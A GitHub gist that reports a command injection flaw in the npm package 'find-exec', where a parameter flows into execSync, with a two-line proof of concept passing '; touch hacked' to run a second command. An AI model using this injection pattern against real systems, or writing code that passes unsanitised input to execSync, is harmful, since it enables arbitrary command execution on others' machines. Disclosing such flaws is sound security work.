Skip to content

Instantly share code, notes, and snippets.

@miguelafmonteiro
Created July 17, 2023 20:47
Show Gist options
  • Save miguelafmonteiro/8a13f49cdc2a7b8af9d39e7e9385623c to your computer and use it in GitHub Desktop.
Save miguelafmonteiro/8a13f49cdc2a7b8af9d39e7e9385623c to your computer and use it in GitHub Desktop.
Affected versions of this package are vulnerable to Command Injection as an attacker controlled parameter (index.js#L5) flows into a sensitive command execution API execSync (index.js#L20). As a result, attackers may inject malicious commands.
const findexec = require('find-exec');
findexec("; touch hacked")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment